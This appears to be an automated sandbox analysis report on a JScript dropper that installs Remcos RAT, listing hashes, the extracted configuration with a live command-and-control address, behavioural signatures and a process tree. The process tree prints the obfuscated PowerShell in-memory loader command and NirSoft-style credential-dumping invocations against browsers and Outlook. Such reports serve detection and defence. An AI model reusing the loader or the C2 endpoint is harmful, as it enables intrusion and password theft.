Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
07/10/2026, 17:39
Static task
static1
Behavioral task
behavioral1
Sample
wetrongiven.js
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
wetrongiven.js
Resource
win11ltsc2024-20260911-en
General
- Target wetrongiven.js
- Size 470B
- Sample261007-v8detadv9k
- SHA256 ff257cad1dede25a8cc7f32c6f647644caec77f9be9bb4fbc512bfcfad11b676
- MD5 513def857b7eb3a00adb4c39f090e539
- SHA1 e016ff123ebbf2a2e2f35da2a4970c62b3ccf684
- SHA512 2e6c17df26565cd04f38e597290d98dac6b1afe522ac48f9228a279fc93397caf9d02a3f3c4fcd7cb0f3f3ecec08b6db2822eb1d9de11b8e0f01d3c24785f970
- TLSH T133F0A062A9D88219B2F3EA09597161124A2BBB69D978434C00D40E0F2EE1F808CB2B66
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
-
remcos
-
6.0.0 Pro
-
RemoteHost
-
103.83.86.40:14642
-
audio_folder
MicRecords
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audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
-
hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
-
keylog_file
logs.dat
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keylog_flag
false
-
keylog_folder
remcos
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mouse_option
false
-
mutex
Rmc-6TAD5B
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2300 4832 powershell.exe 89 - Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral1/memory/1676-29-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral1/memory/5212-32-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral1/memory/4460-28-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft - NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral1/memory/1676-29-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView - NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral1/memory/4460-28-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 3 3160 wscript.exe 20 2300 powershell.exe - Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts CasPol.exe - Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook CasPol.exe Key enumerated \REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook CasPol.exe Key queried \REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook CasPol.exe -
pid Process 2300 powershell.exe - Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 2300 set thread context of 3796 2300 powershell.exe 94 PID 3796 set thread context of 4460 3796 CasPol.exe 97 PID 3796 set thread context of 1676 3796 CasPol.exe 98 PID 3796 set thread context of 5212 3796 CasPol.exe 99 - Command and Scripting Interpreter: JavaScript 1 TTPs
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname wscript.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain wscript.exe - System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe - Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 2300 powershell.exe 2300 powershell.exe 4460 CasPol.exe 4460 CasPol.exe 5212 CasPol.exe 5212 CasPol.exe 4460 CasPol.exe 4460 CasPol.exe - Suspicious behavior: MapViewOfSection 1 TTPs 4 IoCs
pid Process 3796 CasPol.exe 3796 CasPol.exe 3796 CasPol.exe 3796 CasPol.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2300 powershell.exe Token: SeDebugPrivilege 5212 CasPol.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 2300 wrote to memory of 3796 2300 powershell.exe 94 PID 2300 wrote to memory of 3796 2300 powershell.exe 94 PID 2300 wrote to memory of 3796 2300 powershell.exe 94 PID 2300 wrote to memory of 3796 2300 powershell.exe 94 PID 2300 wrote to memory of 3796 2300 powershell.exe 94 PID 2300 wrote to memory of 3796 2300 powershell.exe 94 PID 2300 wrote to memory of 3796 2300 powershell.exe 94 PID 3796 wrote to memory of 2916 3796 CasPol.exe 96 PID 3796 wrote to memory of 4460 3796 CasPol.exe 97 PID 3796 wrote to memory of 1676 3796 CasPol.exe 98 PID 3796 wrote to memory of 5212 3796 CasPol.exe 99 - outlook_office_path 1 IoCs
description ioc Process Key queried \REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook CasPol.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\wetrongiven.js1⤵
- Badlisted process makes network request
- Reads the TCP/IP host and domain name from the registry
PID:3160
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "$unsettled=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7;$duckpins=[Convert]::FromBase64String($unsettled);[AppDomain]::CurrentDomain.Load($duckpins)|Out-Null;[Win32.RMP.aaaaaaa]::aaaaaaaaaaa('mFQQDgSEJ91xhgd2R6lVEHmyXax8Th6fdfMWjjYv/lywOe6E/F8SgfEuTTnIAkoUR13ZBfwGfVL3L0YBed5gRA==','','kewk9KKkW4QFZ3qDuFDvX48BeHw/Wc/zmhVtr+pcOJNo0OWlz9M9014WPsj7oOOq','4VjpzISyhJvi9GeqKaa1siyAOCGexdeM1YK24nY89cc=','/W3r3DZtIrGdIoF4lm2MGNJi5ZQ93Df6QbWCMZu1D4Q=','','n2tfUcafbWe2mQWRbeXkXU9OEx7BQWGGCW9HRYcKjW4=','','3Fri8dJ/E+amhyNP6mr2dxTc+oeKz0Ke0dZMJmxLqk8=','kwNz2YR83MsLXaaPXO5snKwspNdYwCOaETKgzKPbj26yLPnP2Btzg1RbnzrQfTUo','YIsPdCwTg6Z//NTOMGZERxtVv/rxpLuJQHkUYFX/DgI=','s8buxGJ9eGplFupC6YuMfGgXu0/3ZssPe1nIzEUVrHM=','B//YpHT+zBQPtiCE/WGklUKSqRstjlJLwl5mueZJKPA=','','RmirYidrNApJ4PmvOEbB59h3kxRPIIY0pB4BSb1TAs8=','BcFnVvi3CD4ek11KqhLgY59lCT3vcl3MROgSOnep9CY=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2300 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3796 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\cttahppkabvvjikohtuigeqbqatmfceoo"3⤵PID:2916
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\cttahppkabvvjikohtuigeqbqatmfceoo"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4460
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\mwyli"3⤵
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- outlook_office_path
PID:1676
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\xqeebakfc"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5212
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wtpooaw2.juf.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\cttahppkabvvjikohtuigeqbqatmfceoo
- Size 4KB
- SHA256 d81bbacd7dbee43b0a5caf3cffd859c1eaf2dcfee8303d8ac6b37aecae5bf6fd
- MD5 a4e4c166f9b69d98dacd7a1e9eb763bb
- SHA1 3960299917c7b510d39fa9c7da4174754558cbe2
- SHA512 78e4ab00cb04407a4a123e6c46f09349799f53e28d61ad509b32e58a7eae3e7d8d14bc55ed95cd12b06380612037eff36d12cd2e5ee191a2f7d740b2f417a5f9
- SSDEEP 48:wvvv0CgxfvvcCgxfdvv0CgxBvv0Cgxakvv0Cg7:mv5gxvBgp1v5gPv5gbv5g7
- TLSH T14B913A4712F94408F0B2AA46D97711B65B7338599CBC815C61ECA3D80BF3914DAE37D7
- MD5 SHA1 SHA512 SSDEEP TLSH